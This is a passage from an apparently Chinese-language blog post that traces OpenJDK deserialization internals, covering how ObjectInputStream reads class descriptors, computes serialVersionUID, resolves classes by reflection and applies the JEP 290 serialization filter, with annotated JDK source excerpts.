&#125;</div><div class="line">    <span class="keyword">return</span> bin.read(buf, off, len, <span class="keyword">false</span>);</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">private</span> String <span class="title">readUTFBody</span><span class="params">(<span class="keyword">long</span> utflen)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    StringBuilder sbuf;</div><div class="line">    <span class="keyword">if</span> (utflen &gt; <span class="number">0</span> &amp;&amp; utflen &lt; Integer.MAX_VALUE) &#123;</div><div class="line">        <span class="comment">// a reasonable initial capacity based on the UTF length</span></div><div class="line">        <span class="keyword">int</span> initialCapacity = Math.min((<span class="keyword">int</span>)utflen, <span class="number">0xFFFF</span>);</div><div class="line">        sbuf = <span class="keyword">new</span> StringBuilder(initialCapacity);</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        sbuf = <span class="keyword">new</span> StringBuilder();</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (!blkmode) &#123;</div><div class="line">        end = pos = <span class="number">0</span>;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">while</span> (utflen &gt; <span class="number">0</span>) &#123;</div><div class="line">        <span class="keyword">int</span> avail = end - pos;</div><div class="line">        <span class="keyword">if</span> (avail &gt;= <span class="number">3</span> || (<span class="keyword">long</span>) avail == utflen) &#123;</div><div class="line">            utflen -= readUTFSpan(sbuf, utflen);</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">            <span class="keyword">if</span> (blkmode) &#123;</div><div class="line">                <span class="comment">// near block boundary, read one byte at a time</span></div><div class="line">                utflen -= readUTFChar(sbuf, utflen);</div><div class="line">            &#125; <span class="keyword">else</span> &#123;</div><div class="line">                <span class="comment">// shift and refill buffer manually</span></div><div class="line">                <span class="keyword">if</span> (avail &gt; <span class="number">0</span>) &#123;</div><div class="line">                    System.arraycopy(buf, pos, buf, <span class="number">0</span>, avail);</div><div class="line">                &#125;</div><div class="line">                pos = <span class="number">0</span>;</div><div class="line">                end = (<span class="keyword">int</span>) Math.min(MAX_BLOCK_SIZE, utflen);</div><div class="line">                in.readFully(buf, avail, end - avail);</div><div class="line">            &#125;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">return</span> sbuf.toString();</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這幾個方法基本上都是從序列化 Stream 讀資料的細部操作</p>
<p>所以 <code>name = in.readUTF()</code> 就是 Stream 中讀出這個 class descriptor 表示的 class 名字</p>
<p>下一行 <code>suid = Long.valueOf(in.readLong())</code> 就是讀出大家熟知的 <code>serialVersionUID</code></p>
<p>大家都知道 <code>serialVersionUID</code> 是用在反序列化流程中，驗證版本是否一致的重要欄位</p>
<p>只要 <code>serialVersionUID</code> 不同，反序列化過程就會拋出異常</p>
<p><br></p>
<p>這裡就花點篇幅稍微小補充一下，<code>serialVersionUID</code> 的生成方式:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Writes non-proxy class descriptor information to given output stream.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">writeNonProxy</span><span class="params">(ObjectOutputStream out)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    out.writeUTF(name);</div><div class="line">    out.writeLong(getSerialVersionUID());</div><div class="line">    ...</div></pre></td></tr></table></figure>
<p>這個方法在序列化過程中會被呼叫，其中 <code>getSerialVersionUID()</code> 會嘗試取得 <code>suid</code> 的值:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Return the serialVersionUID for this class.  The serialVersionUID</div><div class="line"> * defines a set of classes all with the same name that have evolved from a</div><div class="line"> * common root class and agree to be serialized and deserialized using a</div><div class="line"> * common format.  NonSerializable classes have a serialVersionUID of 0L.</div><div class="line"> *</div><div class="line"> * <span class="doctag">@return</span>  the SUID of the class described by this descriptor</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getSerialVersionUID</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="comment">// REMIND: synchronize instead of relying on volatile?</span></div><div class="line">    <span class="keyword">if</span> (suid == <span class="keyword">null</span>) &#123;</div><div class="line">        suid = AccessController.doPrivileged(</div><div class="line">            <span class="keyword">new</span> PrivilegedAction&lt;Long&gt;() &#123;</div><div class="line">                <span class="function"><span class="keyword">public</span> Long <span class="title">run</span><span class="params">()</span> </span>&#123;</div><div class="line">                    <span class="keyword">return</span> computeDefaultSUID(cl);</div><div class="line">                &#125;</div><div class="line">            &#125;</div><div class="line">        );</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> suid.longValue();</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>若 <code>suid</code> 值是 null，就進入 <code>computeDefaultSUID(cl)</code> 計算</p>
<p>計算 suid 時，會透過創立的 <code>DataOutputStream</code>，將一些資訊寫入其包裝的 <code>ByteArrayOutputStream</code> 中:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">ByteArrayOutputStream bout = <span class="keyword">new</span> ByteArrayOutputStream();</div><div class="line">DataOutputStream dout = <span class="keyword">new</span> DataOutputStream(bout);</div></pre></td></tr></table></figure>
<p>寫入類別名字:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">dout.writeUTF(cl.getName());</div></pre></td></tr></table></figure>
<p>寫入 modifier:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">int</span> classMods = cl.getModifiers() &amp;</div><div class="line">    (Modifier.PUBLIC | Modifier.FINAL |</div><div class="line">     Modifier.INTERFACE | Modifier.ABSTRACT);</div><div class="line">Method[] methods = cl.getDeclaredMethods();</div><div class="line"><span class="keyword">if</span> ((classMods &amp; Modifier.INTERFACE) != <span class="number">0</span>) &#123;</div><div class="line">    classMods = (methods.length &gt; <span class="number">0</span>) ?</div><div class="line">        (classMods | Modifier.ABSTRACT) :</div><div class="line">        (classMods &amp; ~Modifier.ABSTRACT);</div><div class="line">&#125;</div><div class="line">dout.writeInt(classMods);</div></pre></td></tr></table></figure>
<p>照 interface name 排序之後寫入:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> (!cl.isArray()) &#123;</div><div class="line">    Class&lt;?&gt;[] interfaces = cl.getInterfaces();</div><div class="line">    String[] ifaceNames = <span class="keyword">new</span> String[interfaces.length];</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; interfaces.length; i++) &#123;</div><div class="line">        ifaceNames[i] = interfaces[i].getName();</div><div class="line">    &#125;</div><div class="line">    Arrays.sort(ifaceNames);</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; ifaceNames.length; i++) &#123;</div><div class="line">        dout.writeUTF(ifaceNames[i]);</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>根據 field name 排序，然後把 name, modifier, signature 寫入:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line">Field[] fields = cl.getDeclaredFields();</div><div class="line">MemberSignature[] fieldSigs = <span class="keyword">new</span> MemberSignature[fields.length];</div><div class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; fields.length; i++) &#123;</div><div class="line">    fieldSigs[i] = <span class="keyword">new</span> MemberSignature(fields[i]);</div><div class="line">&#125;</div><div class="line">Arrays.sort(fieldSigs, <span class="keyword">new</span> Comparator&lt;MemberSignature&gt;() &#123;</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">compare</span><span class="params">(MemberSignature ms1, MemberSignature ms2)</span> </span>&#123;</div><div class="line">        <span class="keyword">return</span> ms1.name.compareTo(ms2.name);</div><div class="line">    &#125;</div><div class="line">&#125;);</div><div class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; fieldSigs.length; i++) &#123;</div><div class="line">    MemberSignature sig = fieldSigs[i];</div><div class="line">    <span class="keyword">int</span> mods = sig.member.getModifiers() &amp;</div><div class="line">        (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |</div><div class="line">         Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |</div><div class="line">         Modifier.TRANSIENT);</div><div class="line">    <span class="keyword">if</span> (((mods &amp; Modifier.PRIVATE) == <span class="number">0</span>) ||</div><div class="line">        ((mods &amp; (Modifier.STATIC | Modifier.TRANSIENT)) == <span class="number">0</span>))</div><div class="line">    &#123;</div><div class="line">        dout.writeUTF(sig.name);</div><div class="line">        dout.writeInt(mods);</div><div class="line">        dout.writeUTF(sig.signature);</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這邊可以注意到，如果 modifier 是 <code>PRIVATE</code> 或是 <code>STATIC</code> 和 <code>TRANSIENT</code> 就不寫入</p>
<p>所以在 java 序列化時，只要變數前加上 <code>transient</code> 關鍵字，就不會對這個變數做序列化</p>
<p>繼續往下看</p>
<p>當存在 Static Initializer 時，會將這段寫入:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> (hasStaticInitializer(cl)) &#123;</div><div class="line">    dout.writeUTF(<span class="string">"&lt;clinit&gt;"</span>);</div><div class="line">    dout.writeInt(Modifier.STATIC);</div><div class="line">    dout.writeUTF(<span class="string">"()V"</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>(註： Static Initializer 的功能在於初始化類別，當類被載入至 JVM 時，會執行寫在 Static Block 裡的程式碼)</p>
<p>根據 signature 排序，然後將非 private 的 constuctor 寫入:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line">Constructor&lt;?&gt;[] cons = cl.getDeclaredConstructors();</div><div class="line">MemberSignature[] consSigs = <span class="keyword">new</span> MemberSignature[cons.length];</div><div class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; cons.length; i++) &#123;</div><div class="line">    consSigs[i] = <span class="keyword">new</span> MemberSignature(cons[i]);</div><div class="line">&#125;</div><div class="line">Arrays.sort(consSigs, <span class="keyword">new</span> Comparator&lt;MemberSignature&gt;() &#123;</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">compare</span><span class="params">(MemberSignature ms1, MemberSignature ms2)</span> </span>&#123;</div><div class="line">        <span class="keyword">return</span> ms1.signature.compareTo(ms2.signature);</div><div class="line">    &#125;</div><div class="line">&#125;);</div><div class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; consSigs.length; i++) &#123;</div><div class="line">    MemberSignature sig = consSigs[i];</div><div class="line">    <span class="keyword">int</span> mods = sig.member.getModifiers() &amp;</div><div class="line">        (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |</div><div class="line">         Modifier.STATIC | Modifier.FINAL |</div><div class="line">         Modifier.SYNCHRONIZED | Modifier.NATIVE |</div><div class="line">         Modifier.ABSTRACT | Modifier.STRICT);</div><div class="line">    <span class="keyword">if</span> ((mods &amp; Modifier.PRIVATE) == <span class="number">0</span>) &#123;</div><div class="line">        dout.writeUTF(<span class="string">"&lt;init&gt;"</span>);</div><div class="line">        dout.writeInt(mods);</div><div class="line">        dout.writeUTF(sig.signature.replace(<span class="string">'/'</span>, <span class="string">'.'</span>));</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>照 method name 和 signature 排序，然後寫入非 private method 的 name, modifier, signature:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line">MemberSignature[] methSigs = <span class="keyword">new</span> MemberSignature[methods.length];</div><div class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; methods.length; i++) &#123;</div><div class="line">    methSigs[i] = <span class="keyword">new</span> MemberSignature(methods[i]);</div><div class="line">&#125;</div><div class="line">Arrays.sort(methSigs, <span class="keyword">new</span> Comparator&lt;MemberSignature&gt;() &#123;</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">compare</span><span class="params">(MemberSignature ms1, MemberSignature ms2)</span> </span>&#123;</div><div class="line">        <span class="keyword">int</span> comp = ms1.name.compareTo(ms2.name);</div><div class="line">        <span class="keyword">if</span> (comp == <span class="number">0</span>) &#123;</div><div class="line">            comp = ms1.signature.compareTo(ms2.signature);</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">return</span> comp;</div><div class="line">    &#125;</div><div class="line">&#125;);</div><div class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; methSigs.length; i++) &#123;</div><div class="line">    MemberSignature sig = methSigs[i];</div><div class="line">    <span class="keyword">int</span> mods = sig.member.getModifiers() &amp;</div><div class="line">        (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |</div><div class="line">         Modifier.STATIC | Modifier.FINAL |</div><div class="line">         Modifier.SYNCHRONIZED | Modifier.NATIVE |</div><div class="line">         Modifier.ABSTRACT | Modifier.STRICT);</div><div class="line">    <span class="keyword">if</span> ((mods &amp; Modifier.PRIVATE) == <span class="number">0</span>) &#123;</div><div class="line">        dout.writeUTF(sig.name);</div><div class="line">        dout.writeInt(mods);</div><div class="line">        dout.writeUTF(sig.signature.replace(<span class="string">'/'</span>, <span class="string">'.'</span>));</div><div class="line">    &#125;</div><div class="line">&#125;</div><div class="line"></div><div class="line">dout.flush();</div></pre></td></tr></table></figure>
<p>最後把 <code>bout</code> 拿去做 SHA1，取前 8 個 Bytes 當作 suid 回傳</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">MessageDigest md = MessageDigest.getInstance(<span class="string">"SHA"</span>);</div><div class="line"><span class="keyword">byte</span>[] hashBytes = md.digest(bout.toByteArray());</div><div class="line"><span class="keyword">long</span> hash = <span class="number">0</span>;</div><div class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = Math.min(hashBytes.length, <span class="number">8</span>) - <span class="number">1</span>; i &gt;= <span class="number">0</span>; i--) &#123;</div><div class="line">    hash = (hash &lt;&lt; <span class="number">8</span>) | (hashBytes[i] &amp; <span class="number">0xFF</span>);</div><div class="line">&#125;</div><div class="line"><span class="keyword">return</span> hash;</div></pre></td></tr></table></figure>
<p>所以我們現在知道，並不是所有類別更改都會影響到 suid</p>
<p><br></p>
<p>好了，扯遠了，繼續回來看 <code>readNonProxy()</code></p>
<p>所以 <code>readNonProxy()</code> 初始化完類別名字、suid 之後，<code>readClassDescriptor()</code>就會把這個初始化的 class descriptor 回傳回去</p>
<p>接著回到 <code>readNonProxyDesc()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> ObjectStreamClass <span class="title">readNonProxyDesc</span><span class="params">(<span class="keyword">boolean</span> unshared)</span></span></div><div class="line">    <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    ...</div><div class="line"></div><div class="line">    Class&lt;?&gt; cl = <span class="keyword">null</span>;</div><div class="line">    ClassNotFoundException resolveEx = <span class="keyword">null</span>;</div><div class="line">    bin.setBlockDataMode(<span class="keyword">true</span>);</div><div class="line">    <span class="keyword">final</span> <span class="keyword">boolean</span> checksRequired = isCustomSubclass();</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        <span class="keyword">if</span> ((cl = resolveClass(readDesc)) == <span class="keyword">null</span>) &#123;</div><div class="line">            resolveEx = <span class="keyword">new</span> ClassNotFoundException(<span class="string">"null class"</span>);</div><div class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (checksRequired) &#123;</div><div class="line">            ReflectUtil.checkPackageAccess(cl);</div><div class="line">        &#125;</div><div class="line">    &#125; <span class="keyword">catch</span> (ClassNotFoundException ex) &#123;</div><div class="line">        resolveEx = ex;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="comment">// Call filterCheck on the class before reading anything else</span></div><div class="line">    filterCheck(cl, -<span class="number">1</span>);</div><div class="line"></div><div class="line">    ...</div></pre></td></tr></table></figure>
<p>剛剛初始化完的 class descriptor <code>readDesc</code> 被丟進 <code>resovleClass()</code></p>
<p>而 <code>resolveClass()</code> 做的事情很單純，透過反射，取得並回傳當前 descriptor 描述的類別物件，也就是對應到我們這個例子的 <code>Kaibro</code></p>
<blockquote>
<p>反射機制:<br>Java 是個靜態語言，不像 PHP 有那麼多靈活的動態特性，但透過反射機制，可以大幅提升 Java 的動態性<br>核心概念是，它運行時才動態載入或調用、訪問方法和屬性，不需事先定義目標是誰<br>例如，你的程式沒有 import 某個類別，可以透過反射來動態載入: <code>Class&lt;?&gt; cls = Class.forName(&quot;java.lang.Runtime&quot;);</code></p>
</blockquote>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">protected</span> Class&lt;?&gt; resolveClass(ObjectStreamClass desc)</div><div class="line">        <span class="keyword">throws</span> IOException, ClassNotFoundException</div><div class="line">&#123;</div><div class="line">    String name = desc.getName();</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        <span class="keyword">return</span> Class.forName(name, <span class="keyword">false</span>, latestUserDefinedLoader());</div><div class="line">    &#125; <span class="keyword">catch</span> (ClassNotFoundException ex) &#123;</div><div class="line">        Class&lt;?&gt; cl = primClasses.get(name);</div><div class="line">        <span class="keyword">if</span> (cl != <span class="keyword">null</span>) &#123;</div><div class="line">            <span class="keyword">return</span> cl;</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">            <span class="keyword">throw</span> ex;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>接著呼叫 <code>filterCheck(cl, -1)</code>，這裡的 <code>cl</code> 就是我們剛才 <code>reovleClass</code> 的類別物件</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Invoke the serialization filter if non-null.</div><div class="line"> * If the filter rejects or an exception is thrown, throws InvalidClassException.</div><div class="line"> *</div><div class="line"> * <span class="doctag">@param</span> clazz the class; may be null</div><div class="line"> * <span class="doctag">@param</span> arrayLength the array length requested; use &#123;<span class="doctag">@code</span> -1&#125; if not creating an array</div><div class="line"> * <span class="doctag">@throws</span> InvalidClassException if it rejected by the filter or</div><div class="line"> *        a &#123;<span class="doctag">@link</span> RuntimeException&#125; is thrown</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">filterCheck</span><span class="params">(Class&lt;?&gt; clazz, <span class="keyword">int</span> arrayLength)</span></span></div><div class="line">        <span class="keyword">throws</span> InvalidClassException &#123;</div><div class="line">    <span class="keyword">if</span> (serialFilter != <span class="keyword">null</span>) &#123;</div><div class="line">        RuntimeException ex = <span class="keyword">null</span>;</div><div class="line">        ObjectInputFilter.Status status;</div><div class="line">        <span class="comment">// Info about the stream is not available if overridden by subclass, return 0</span></div><div class="line">        <span class="keyword">long</span> bytesRead = (bin == <span class="keyword">null</span>) ? <span class="number">0</span> : bin.getBytesRead();</div><div class="line">        <span class="keyword">try</span> &#123;</div><div class="line">            status = serialFilter.checkInput(<span class="keyword">new</span> FilterValues(clazz, arrayLength,</div><div class="line">                    totalObjectRefs, depth, bytesRead));</div><div class="line">        &#125; <span class="keyword">catch</span> (RuntimeException e) &#123;</div><div class="line">            <span class="comment">// Preventive interception of an exception to log</span></div><div class="line">            status = ObjectInputFilter.Status.REJECTED;</div><div class="line">            ex = e;</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">if</span> (status == <span class="keyword">null</span>  ||</div><div class="line">                status == ObjectInputFilter.Status.REJECTED) &#123;</div><div class="line">            <span class="comment">// Debug logging of filter checks that fail</span></div><div class="line">            <span class="keyword">if</span> (Logging.infoLogger != <span class="keyword">null</span>) &#123;</div><div class="line">                Logging.infoLogger.info(</div><div class="line">                        <span class="string">"ObjectInputFilter &#123;0&#125;: &#123;1&#125;, array length: &#123;2&#125;, nRefs: &#123;3&#125;, depth: &#123;4&#125;, bytes: &#123;5&#125;, ex: &#123;6&#125;"</span>,</div><div class="line">                        status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,</div><div class="line">                        Objects.toString(ex, <span class="string">"n/a"</span>));</div><div class="line">            &#125;</div><div class="line">            InvalidClassException ice = <span class="keyword">new</span> InvalidClassException(<span class="string">"filter status: "</span> + status);</div><div class="line">            ice.initCause(ex);</div><div class="line">            <span class="keyword">throw</span> ice;</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">            <span class="comment">// Trace logging for those that succeed</span></div><div class="line">            <span class="keyword">if</span> (Logging.traceLogger != <span class="keyword">null</span>) &#123;</div><div class="line">                Logging.traceLogger.finer(</div><div class="line">                        <span class="string">"ObjectInputFilter &#123;0&#125;: &#123;1&#125;, array length: &#123;2&#125;, nRefs: &#123;3&#125;, depth: &#123;4&#125;, bytes: &#123;5&#125;, ex: &#123;6&#125;"</span>,</div><div class="line">                        status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,</div><div class="line">                        Objects.toString(ex, <span class="string">"n/a"</span>));</div><div class="line">            &#125;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡可以看到 <code>serialFilter</code> 是在 ObjectInputStream 初始化時取得的</p>
<p>當 <code>serialFilter</code> 存在時，filtercheck 會去做檢查、過濾，如果沒通過就直接拋出 Exception</p>
<p><code>serialFilter = ObjectInputFilter.Config.getSerialFilter();</code></p>
<p>這個其實就是大名鼎鼎的 <a href="https://openjdk.java.net/jeps/290" target="_blank" rel="external">JEP290</a> 防禦機制</p>
<p><br></p>
<p>繼續回來看 <code>readNonProxyDesc()</code> 後半部分:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> ObjectStreamClass <span class="title">readNonProxyDesc</span><span class="params">(<span class="keyword">boolean</span> unshared)</span></span></div><div class="line">        <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    ...</div><div class="line"></div><div class="line">    desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(<span class="keyword">false</span>));</div><div class="line"></div><div class="line">    handles.finish(descHandle);</div><div class="line">    passHandle = descHandle;</div><div class="line">    <span class="keyword">return</span> desc;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡我們跟進去看 <code>initNonProxy()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Initializes class descriptor representing a non-proxy class.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">initNonProxy</span><span class="params">(ObjectStreamClass model,</span></span></div><div class="line">                  Class&lt;?&gt; cl,</div><div class="line">                  ClassNotFoundException resolveEx,</div><div class="line">                  ObjectStreamClass superDesc)</div><div class="line">    <span class="keyword">throws</span> InvalidClassException</div><div class="line">&#123;</div><div class="line">        <span class="keyword">this</span>.cl = cl;</div><div class="line">        <span class="keyword">this</span>.resolveEx = resolveEx;</div><div class="line">        <span class="keyword">this</span>.superDesc = superDesc;</div><div class="line">        name = model.name;</div><div class="line">        suid = Long.valueOf(model.getSerialVersionUID());</div><div class="line">        isProxy = <span class="keyword">false</span>;</div><div class="line">        isEnum = model.isEnum;</div><div class="line">        serializable = model.serializable;</div><div class="line">        externalizable = model.externalizable;</div><div class="line">        hasBlockExternalData = model.hasBlockExternalData;</div><div class="line">        hasWriteObjectData = model.hasWriteObjectData;</div><div class="line">        fields = model.fields;</div><div class="line">        primDataSize = model.primDataSize;</div><div class="line">        numObjFields = model.numObjFields;</div><div class="line"></div><div class="line">        <span class="keyword">if</span> (cl != <span class="keyword">null</span>) &#123;</div><div class="line">            localDesc = lookup(cl, <span class="keyword">true</span>);</div><div class="line">            ...</div><div class="line">            cons = localDesc.cons;</div><div class="line">	    writeObjectMethod = localDesc.writeObjectMethod;</div><div class="line">	    readObjectMethod = localDesc.readObjectMethod;</div><div class="line">	    readObjectNoDataMethod = localDesc.readObjectNoDataMethod;</div><div class="line">	    writeReplaceMethod = 